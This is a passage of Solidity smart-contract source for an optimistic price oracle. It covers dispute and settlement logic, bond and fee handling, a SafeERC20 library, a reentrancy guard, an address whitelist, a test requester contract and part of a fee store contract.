request.currency.safeTransferFrom(msg.sender, address(this), totalBond);
}
StoreInterface store = _getStore();
// Avoids stack too deep compilation error.
{
// Along with the final fee, "burn" part of the loser's bond to ensure that a larger bond always makes it
// proportionally more expensive to delay the resolution even if the proposer and disputer are the same
// party.
uint256 burnedBond = _computeBurnedBond(request);
// The total fee is the burned bond and the final fee added together.
uint256 totalFee = finalFee.add(burnedBond);
if (totalFee > 0) {
request.currency.safeIncreaseAllowance(address(store), totalFee);
_getStore().payOracleFeesErc20(address(request.currency), FixedPoint.Unsigned(totalFee));
}
}
_getOracle().requestPrice(identifier, timestamp, _stampAncillaryData(ancillaryData, requester));
// Compute refund.
uint256 refund = 0;
if (request.reward > 0 && request.refundOnDispute) {
refund = request.reward;
request.reward = 0;
request.currency.safeTransfer(requester, refund);
}
emit DisputePrice(
requester,
request.proposer,
disputer,
identifier,
timestamp,
ancillaryData,
request.proposedPrice
);
// Callback.
if (address(requester).isContract())
try OptimisticRequester(requester).priceDisputed(identifier, timestamp, ancillaryData, refund) {} catch {}
}
/**
* @notice Disputes a price value for an existing price request with an active proposal.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return totalBond the amount that's pulled from the disputer's wallet as a bond. The bond will be returned to
* the disputer once settled if the dispute was valid (the proposal was incorrect).
*/
function disputePrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external override returns (uint256 totalBond) {
// Note: re-entrancy guard is done in the inner call.
return disputePriceFor(msg.sender, requester, identifier, timestamp, ancillaryData);
}
/**
* @notice Retrieves a price that was previously requested by a caller. Reverts if the request is not settled
* or settleable. Note: this method is not view so that this call may actually settle the price request if it
* hasn't been settled.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return resolved price.
*/
function settleAndGetPrice(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external override nonReentrant() returns (int256) {
if (getState(msg.sender, identifier, timestamp, ancillaryData) != State.Settled) {
_settle(msg.sender, identifier, timestamp, ancillaryData);
}
return _getRequest(msg.sender, identifier, timestamp, ancillaryData).resolvedPrice;
}
/**
* @notice Attempts to settle an outstanding price request. Will revert if it isn't settleable.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return payout the amount that the "winner" (proposer or disputer) receives on settlement. This amount includes
* the returned bonds as well as additional rewards.
*/
function settle(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external override nonReentrant() returns (uint256 payout) {
return _settle(requester, identifier, timestamp, ancillaryData);
}
/**
* @notice Gets the current data structure containing all information about a price request.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return the Request data structure.
*/
function getRequest(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view override returns (Request memory) {
return _getRequest(requester, identifier, timestamp, ancillaryData);
}
/**
* @notice Computes the current state of a price request. See the State enum for more details.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return the State.
*/
function getState(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view override returns (State) {
Request storage request = _getRequest(requester, identifier, timestamp, ancillaryData);
if (address(request.currency) == address(0)) {
return State.Invalid;
}
if (request.proposer == address(0)) {
return State.Requested;
}
if (request.settled) {
return State.Settled;
}
if (request.disputer == address(0)) {
return request.expirationTime <= getCurrentTime() ? State.Expired : State.Proposed;
}
return
_getOracle().hasPrice(identifier, timestamp, _stampAncillaryData(ancillaryData, requester))
? State.Resolved
: State.Disputed;
}
/**
* @notice Checks if a given request has resolved, expired or been settled (i.e the optimistic oracle has a price).
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return boolean indicating true if price exists and false if not.
*/
function hasPrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view override returns (bool) {
State state = getState(requester, identifier, timestamp, ancillaryData);
return state == State.Settled || state == State.Resolved || state == State.Expired;
}
/**
* @notice Generates stamped ancillary data in the format that it would be used in the case of a price dispute.
* @param ancillaryData ancillary data of the price being requested.
* @param requester sender of the initial price request.
* @return the stampped ancillary bytes.
*/
function stampAncillaryData(bytes memory ancillaryData, address requester) public pure returns (bytes memory) {
return _stampAncillaryData(ancillaryData, requester);
}
function _getId(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) private pure returns (bytes32) {
return keccak256(abi.encodePacked(requester, identifier, timestamp, ancillaryData));
}
function _settle(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) private returns (uint256 payout) {
State state = getState(requester, identifier, timestamp, ancillaryData);
// Set it to settled so this function can never be entered again.
Request storage request = _getRequest(requester, identifier, timestamp, ancillaryData);
request.settled = true;
if (state == State.Expired) {
// In the expiry case, just pay back the proposer's bond and final fee along with the reward.
request.resolvedPrice = request.proposedPrice;
payout = request.bond.add(request.finalFee).add(request.reward);
request.currency.safeTransfer(request.proposer, payout);
} else if (state == State.Resolved) {
// In the Resolved case, pay either the disputer or the proposer the entire payout (+ bond and reward).
request.resolvedPrice = _getOracle().getPrice(
identifier,
timestamp,
_stampAncillaryData(ancillaryData, requester)
);
bool disputeSuccess = request.resolvedPrice != request.proposedPrice;
uint256 bond = request.bond;
// Unburned portion of the loser's bond = 1 - burned bond.
uint256 unburnedBond = bond.sub(_computeBurnedBond(request));
// Winner gets:
// - Their bond back.
// - The unburned portion of the loser's bond.
// - Their final fee back.
// - The request reward (if not already refunded -- if refunded, it will be set to 0).
payout = bond.add(unburnedBond).add(request.finalFee).add(request.reward);
request.currency.safeTransfer(disputeSuccess ? request.disputer : request.proposer, payout);
} else {
revert("_settle: not settleable");
}
emit Settle(
requester,
request.proposer,
request.disputer,
identifier,
timestamp,
ancillaryData,
request.resolvedPrice,
payout
);
// Callback.
if (address(requester).isContract())
try
OptimisticRequester(requester).priceSettled(identifier, timestamp, ancillaryData, request.resolvedPrice)
{} catch {}
}
function _getRequest(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) private view returns (Request storage) {
return requests[_getId(requester, identifier, timestamp, ancillaryData)];
}
function _computeBurnedBond(Request storage request) private view returns (uint256) {
// burnedBond = floor(bond / 2)
return request.bond.div(2);
}
function _validateLiveness(uint256 _liveness) private pure {
require(_liveness < 5200 weeks, "Liveness too large");
require(_liveness > 0, "Liveness cannot be 0");
}
function _getOracle() internal view returns (OracleAncillaryInterface) {
return OracleAncillaryInterface(finder.getImplementationAddress(OracleInterfaces.Oracle));
}
function _getCollateralWhitelist() internal view returns (AddressWhitelist) {
return AddressWhitelist(finder.getImplementationAddress(OracleInterfaces.CollateralWhitelist));
}
function _getStore() internal view returns (StoreInterface) {
return StoreInterface(finder.getImplementationAddress(OracleInterfaces.Store));
}
function _getIdentifierWhitelist() internal view returns (IdentifierWhitelistInterface) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
// Stamps the ancillary data blob with the optimistic oracle tag denoting what contract requested it.
function _stampAncillaryData(bytes memory ancillaryData, address requester) internal pure returns (bytes memory) {
return abi.encodePacked(ancillaryData, "OptimisticOracle", requester);
}
}
pragma solidity ^0.6.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../../common/implementation/FixedPoint.sol";
/**
* @title Interface that allows financial contracts to pay oracle fees for their use of the system.
*/
interface StoreInterface {
/**
* @notice Pays Oracle fees in ETH to the store.
* @dev To be used by contracts whose margin currency is ETH.
*/
function payOracleFees() external payable;
/**
* @notice Pays oracle fees in the margin currency, erc20Address, to the store.
* @dev To be used if the margin currency is an ERC20 token rather than ETH.
* @param erc20Address address of the ERC20 token used to pay the fee.
* @param amount number of tokens to transfer. An approval for at least this amount must exist.
*/
function payOracleFeesErc20(address erc20Address, FixedPoint.Unsigned calldata amount) external;
/**
* @notice Computes the regular oracle fees that a contract should pay for a period.
* @param startTime defines the beginning time from which the fee is paid.
* @param endTime end time until which the fee is paid.
* @param pfc "profit from corruption", or the maximum amount of margin currency that a
* token sponsor could extract from the contract through corrupting the price feed in their favor.
* @return regularFee amount owed for the duration from start to end time for the given pfc.
* @return latePenalty for paying the fee after the deadline.
*/
function computeRegularFee(
uint256 startTime,
uint256 endTime,
FixedPoint.Unsigned calldata pfc
) external view returns (FixedPoint.Unsigned memory regularFee, FixedPoint.Unsigned memory latePenalty);
/**
* @notice Computes the final oracle fees that a contract should pay at settlement.
* @param currency token used to pay the final fee.
* @return finalFee amount due.
*/
function computeFinalFee(address currency) external view returns (FixedPoint.Unsigned memory);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title Financial contract facing Oracle interface.
* @dev Interface used by financial contracts to interact with the Oracle. Voters will use a different interface.
*/
abstract contract OptimisticOracleInterface {
// Struct representing the state of a price request.
enum State {
Invalid, // Never requested.
Requested, // Requested, no other actions taken.
Proposed, // Proposed, but not expired or disputed yet.
Expired, // Proposed, not disputed, past liveness.
Disputed, // Disputed, but no DVM price returned yet.
Resolved, // Disputed and DVM price is available.
Settled // Final price has been set in the contract (can get here from Expired or Resolved).
}
// Struct representing a price request.
struct Request {
address proposer; // Address of the proposer.
address disputer; // Address of the disputer.
IERC20 currency; // ERC20 token used to pay rewards and fees.
bool settled; // True if the request is settled.
bool refundOnDispute; // True if the requester should be refunded their reward on dispute.
int256 proposedPrice; // Price that the proposer submitted.
int256 resolvedPrice; // Price resolved once the request is settled.
uint256 expirationTime; // Time at which the request auto-settles without a dispute.
uint256 reward; // Amount of the currency to pay to the proposer on settlement.
uint256 finalFee; // Final fee to pay to the Store upon request to the DVM.
uint256 bond; // Bond that the proposer and disputer must pay on top of the final fee.
uint256 customLiveness; // Custom liveness value set by the requester.
}
// This value must be <= the Voting contract's `ancillaryBytesLimit` value otherwise it is possible
// that a price can be requested to this contract successfully, but cannot be disputed because the DVM refuses
// to accept a price request made with ancillary data length of a certain size.
uint256 public constant ancillaryBytesLimit = 8192;
/**
* @notice Requests a new price.
* @param identifier price identifier being requested.
* @param timestamp timestamp of the price being requested.
* @param ancillaryData ancillary data representing additional args being passed with the price request.
* @param currency ERC20 token used for payment of rewards and fees. Must be approved for use with the DVM.
* @param reward reward offered to a successful proposer. Will be pulled from the caller. Note: this can be 0,
* which could make sense if the contract requests and proposes the value in the same call or
* provides its own reward system.
* @return totalBond default bond (final fee) + final fee that the proposer and disputer will be required to pay.
* This can be changed with a subsequent call to setBond().
*/
function requestPrice(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
IERC20 currency,
uint256 reward
) external virtual returns (uint256 totalBond);
/**
* @notice Set the proposal bond associated with a price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param bond custom bond amount to set.
* @return totalBond new bond + final fee that the proposer and disputer will be required to pay. This can be
* changed again with a subsequent call to setBond().
*/
function setBond(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
uint256 bond
) external virtual returns (uint256 totalBond);
/**
* @notice Sets the request to refund the reward if the proposal is disputed. This can help to "hedge" the caller
* in the event of a dispute-caused delay. Note: in the event of a dispute, the winner still receives the other's
* bond, so there is still profit to be made even if the reward is refunded.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
*/
function setRefundOnDispute(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external virtual;
/**
* @notice Sets a custom liveness value for the request. Liveness is the amount of time a proposal must wait before
* being auto-resolved.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param customLiveness new custom liveness.
*/
function setCustomLiveness(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
uint256 customLiveness
) external virtual;
/**
* @notice Proposes a price value on another address' behalf. Note: this address will receive any rewards that come
* from this proposal. However, any bonds are pulled from the caller.
* @param proposer address to set as the proposer.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param proposedPrice price being proposed.
* @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to
* the proposer once settled if the proposal is correct.
*/
function proposePriceFor(
address proposer,
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
int256 proposedPrice
) public virtual returns (uint256 totalBond);
/**
* @notice Proposes a price value for an existing price request.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param proposedPrice price being proposed.
* @return totalBond the amount that's pulled from the proposer's wallet as a bond. The bond will be returned to
* the proposer once settled if the proposal is correct.
*/
function proposePrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
int256 proposedPrice
) external virtual returns (uint256 totalBond);
/**
* @notice Disputes a price request with an active proposal on another address' behalf. Note: this address will
* receive any rewards that come from this dispute. However, any bonds are pulled from the caller.
* @param disputer address to set as the disputer.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to
* the disputer once settled if the dispute was value (the proposal was incorrect).
*/
function disputePriceFor(
address disputer,
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public virtual returns (uint256 totalBond);
/**
* @notice Disputes a price value for an existing price request with an active proposal.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return totalBond the amount that's pulled from the disputer's wallet as a bond. The bond will be returned to
* the disputer once settled if the dispute was valid (the proposal was incorrect).
*/
function disputePrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external virtual returns (uint256 totalBond);
/**
* @notice Retrieves a price that was previously requested by a caller. Reverts if the request is not settled
* or settleable. Note: this method is not view so that this call may actually settle the price request if it
* hasn't been settled.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return resolved price.
*/
function settleAndGetPrice(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external virtual returns (int256);
/**
* @notice Attempts to settle an outstanding price request. Will revert if it isn't settleable.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return payout the amount that the "winner" (proposer or disputer) receives on settlement. This amount includes
* the returned bonds as well as additional rewards.
*/
function settle(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external virtual returns (uint256 payout);
/**
* @notice Gets the current data structure containing all information about a price request.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return the Request data structure.
*/
function getRequest(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view virtual returns (Request memory);
function getState(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view virtual returns (State);
/**
* @notice Checks if a given request has resolved or been settled (i.e the optimistic oracle has a price).
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return the State.
*/
function hasPrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view virtual returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
/**
* @title A contract that provides modifiers to prevent reentrancy to state-changing and view-only methods. This contract
* is inspired by https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol
* and https://github.com/balancer-labs/balancer-core/blob/master/contracts/BPool.sol.
*/
contract Lockable {
bool private _notEntered;
constructor() internal {
// Storing an initial non-zero value makes deployment a bit more
// expensive, but in exchange the refund on every call to nonReentrant
// will be lower in amount. Since refunds are capped to a percetange of
// the total transaction's gas, it is best to keep them low in cases
// like this one, to increase the likelihood of the full refund coming
// into effect.
_notEntered = true;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_preEntranceCheck();
_preEntranceSet();
_;
_postEntranceReset();
}
/**
* @dev Designed to prevent a view-only method from being re-entered during a call to a `nonReentrant()` state-changing method.
*/
modifier nonReentrantView() {
_preEntranceCheck();
_;
}
// Internal methods are used to avoid copying the require statement's bytecode to every `nonReentrant()` method.
// On entry into a function, `_preEntranceCheck()` should always be called to check if the function is being re-entered.
// Then, if the function modifies state, it should call `_postEntranceSet()`, perform its logic, and then call `_postEntranceReset()`.
// View-only methods can simply call `_preEntranceCheck()` to make sure that it is not being re-entered.
function _preEntranceCheck() internal view {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
}
function _preEntranceSet() internal {
// Any calls to nonReentrant after this point will fail
_notEntered = false;
}
function _postEntranceReset() internal {
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./Lockable.sol";
/**
* @title A contract to track a whitelist of addresses.
*/
contract AddressWhitelist is Ownable, Lockable {
enum Status { None, In, Out }
mapping(address => Status) public whitelist;
address[] public whitelistIndices;
event AddedToWhitelist(address indexed addedAddress);
event RemovedFromWhitelist(address indexed removedAddress);
/**
* @notice Adds an address to the whitelist.
* @param newElement the new address to add.
*/
function addToWhitelist(address newElement) external nonReentrant() onlyOwner {
// Ignore if address is already included
if (whitelist[newElement] == Status.In) {
return;
}
// Only append new addresses to the array, never a duplicate
if (whitelist[newElement] == Status.None) {
whitelistIndices.push(newElement);
}
whitelist[newElement] = Status.In;
emit AddedToWhitelist(newElement);
}
/**
* @notice Removes an address from the whitelist.
* @param elementToRemove the existing address to remove.
*/
function removeFromWhitelist(address elementToRemove) external nonReentrant() onlyOwner {
if (whitelist[elementToRemove] != Status.Out) {
whitelist[elementToRemove] = Status.Out;
emit RemovedFromWhitelist(elementToRemove);
}
}
/**
* @notice Checks whether an address is on the whitelist.
* @param elementToCheck the address to check.
* @return True if `elementToCheck` is on the whitelist, or False.
*/
function isOnWhitelist(address elementToCheck) external view nonReentrantView() returns (bool) {
return whitelist[elementToCheck] == Status.In;
}
/**
* @notice Gets all addresses that are currently included in the whitelist.
* @dev Note: This method skips over, but still iterates through addresses. It is possible for this call to run out
* of gas if a large number of addresses have been removed. To reduce the likelihood of this unlikely scenario, we
* can modify the implementation so that when addresses are removed, the last addresses in the array is moved to
* the empty index.
* @return activeWhitelist the list of addresses on the whitelist.
*/
function getWhitelist() external view nonReentrantView() returns (address[] memory activeWhitelist) {
// Determine size of whitelist first
uint256 activeCount = 0;
for (uint256 i = 0; i < whitelistIndices.length; i++) {
if (whitelist[whitelistIndices[i]] == Status.In) {
activeCount++;
}
}
// Populate whitelist
activeWhitelist = new address[](activeCount);
activeCount = 0;
for (uint256 i = 0; i < whitelistIndices.length; i++) {
address addr = whitelistIndices[i];
if (whitelist[addr] == Status.In) {
activeWhitelist[activeCount] = addr;
activeCount++;
}
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../OptimisticOracle.sol";
// This is just a test contract to make requests to the optimistic oracle.
contract OptimisticRequesterTest is OptimisticRequester {
OptimisticOracle optimisticOracle;
bool public shouldRevert = false;
// State variables to track incoming calls.
bytes32 public identifier;
uint256 public timestamp;
bytes public ancillaryData;
uint256 public refund;
int256 public price;
// Implement collateralCurrency so that this contract simulates a financial contract whose collateral
// token can be fetched by off-chain clients.
IERC20 public collateralCurrency;
// Manually set an expiration timestamp to simulate expiry price requests
uint256 public expirationTimestamp;
constructor(OptimisticOracle _optimisticOracle) public {
optimisticOracle = _optimisticOracle;
}
function requestPrice(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData,
IERC20 currency,
uint256 reward
) external {
// Set collateral currency to last requested currency:
collateralCurrency = currency;
currency.approve(address(optimisticOracle), reward);
optimisticOracle.requestPrice(_identifier, _timestamp, _ancillaryData, currency, reward);
}
function settleAndGetPrice(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData
) external returns (int256) {
return optimisticOracle.settleAndGetPrice(_identifier, _timestamp, _ancillaryData);
}
function setBond(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData,
uint256 bond
) external {
optimisticOracle.setBond(_identifier, _timestamp, _ancillaryData, bond);
}
function setRefundOnDispute(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData
) external {
optimisticOracle.setRefundOnDispute(_identifier, _timestamp, _ancillaryData);
}
function setCustomLiveness(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData,
uint256 customLiveness
) external {
optimisticOracle.setCustomLiveness(_identifier, _timestamp, _ancillaryData, customLiveness);
}
function setRevert(bool _shouldRevert) external {
shouldRevert = _shouldRevert;
}
function setExpirationTimestamp(uint256 _expirationTimestamp) external {
expirationTimestamp = _expirationTimestamp;
}
function clearState() external {
delete identifier;
delete timestamp;
delete refund;
delete price;
}
function priceProposed(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData
) external override {
require(!shouldRevert);
identifier = _identifier;
timestamp = _timestamp;
ancillaryData = _ancillaryData;
}
function priceDisputed(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData,
uint256 _refund
) external override {
require(!shouldRevert);
identifier = _identifier;
timestamp = _timestamp;
ancillaryData = _ancillaryData;
refund = _refund;
}
function priceSettled(
bytes32 _identifier,
uint256 _timestamp,
bytes memory _ancillaryData,
int256 _price
) external override {
require(!shouldRevert);
identifier = _identifier;
timestamp = _timestamp;
ancillaryData = _ancillaryData;
price = _price;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/MultiRole.sol";
import "../../common/implementation/Withdrawable.sol";
import "../../common/implementation/Testable.sol";
import "../interfaces/StoreInterface.sol";
/**
* @title An implementation of Store that can accept Oracle fees in ETH or any arbitrary ERC20 token.
*/
contract Store is StoreInterface, Withdrawable, Testable {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
using FixedPoint for uint256;
using SafeERC20 for IERC20;
/****************************************
* INTERNAL VARIABLES AND STORAGE *
****************************************/
enum Roles { Owner, Withdrawer }
FixedPoint.Unsigned public fixedOracleFeePerSecondPerPfc; // Percentage of 1 E.g., .1 is 10% Oracle fee.
FixedPoint.Unsigned public weeklyDelayFeePerSecondPerPfc; // Percentage of 1 E.g., .1 is 10% weekly delay fee.
mapping(address => FixedPoint.Unsigned) public finalFees;
uint256 public constant SECONDS_PER_WEEK = 604800;
/****************************************
* EVENTS *
****************************************/
event NewFixedOracleFeePerSecondPerPfc(FixedPoint.Unsigned newOracleFee);
event NewWeeklyDelayFeePerSecondPerPfc(FixedPoint.Unsigned newWeeklyDelayFeePerSecondPerPfc);
event NewFinalFee(FixedPoint.Unsigned newFinalFee);
/**
* @notice Construct the Store contract.
*/
constructor(
FixedPoint.Unsigned memory _fixedOracleFeePerSecondPerPfc,
FixedPoint.Unsigned memory _weeklyDelayFeePerSecondPerPfc,
address _timerAddress
) public Testable(_timerAddress) {
_createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender);
_createWithdrawRole(uint256(Roles.Withdrawer), uint256(Roles.Owner), msg.sender);
setFixedOracleFeePerSecondPerPfc(_fixedOracleFeePerSecondPerPfc);
setWeeklyDelayFeePerSecondPerPfc(_weeklyDelayFeePerSecondPerPfc);
}
/****************************************
* ORACLE FEE CALCULATION AND PAYMENT *
****************************************/
/**
* @notice Pays Oracle fees in ETH to the store.
* @dev To be used by contracts whose margin currency is ETH.
*/
function payOracleFees() external payable override {
require(msg.value > 0, "Value sent can't be zero");
}
/**
* @notice Pays oracle fees in the margin currency, erc20Address, to the store.
* @dev To be used if the margin currency is an ERC20 token rather than ETH.
* @param erc20Address address of the ERC20 token used to pay the fee.
* @param amount number of tokens to transfer. An approval for at least this amount must exist.
*/
function payOracleFeesErc20(address erc20Address, FixedPoint.Unsigned calldata amount) external override {
IERC20 erc20 = IERC20(erc20Address);
require(amount.isGreaterThan(0), "Amount sent can't be zero");
erc20.safeTransferFrom(msg.sender, address(this), amount.rawValue);
}
/**
* @notice Computes the regular oracle fees that a contract should pay for a period.
* @dev The late penalty is similar to the regular fee in that is is charged per second over the period between
* startTime and endTime.
*
* The late penalty percentage increases over time as follows:
*
* - 0-1 week since startTime: no late penalty
*
* - 1-2 weeks since startTime: 1x late penalty percentage is applied
*
* - 2-3 weeks since startTime: 2x late penalty percentage is applied
*
* - ...
*
* @param startTime defines the beginning time from which the fee is paid.
* @param endTime end time until which the fee is paid.
* @param pfc "profit from corruption", or the maximum amount of margin currency that a
* token sponsor could extract from the contract through corrupting the price feed in their favor.
* @return regularFee amount owed for the duration from start to end time for the given pfc.
* @return latePenalty penalty percentage, if any, for paying the fee after the deadline.
*/
function computeRegularFee(
uint256 startTime,
uint256 endTime,
FixedPoint.Unsigned calldata pfc
) external view override returns (FixedPoint.Unsigned memory regularFee, FixedPoint.Unsigned memory latePenalty) {
uint256 timeDiff = endTime.sub(startTime);
// Multiply by the unscaled `timeDiff` first, to get more accurate results.
regularFee = pfc.mul(timeDiff).mul(fixedOracleFeePerSecondPerPfc);
// Compute how long ago the start time was to compute the delay penalty.
uint256 paymentDelay = getCurrentTime().sub(startTime);
// Compute the additional percentage (per second) that will be charged because of the penalty.
// Note: if less than a week has gone by since the startTime, paymentDelay / SECONDS_PER_WEEK will truncate to
// 0, causing no penalty to be charged.
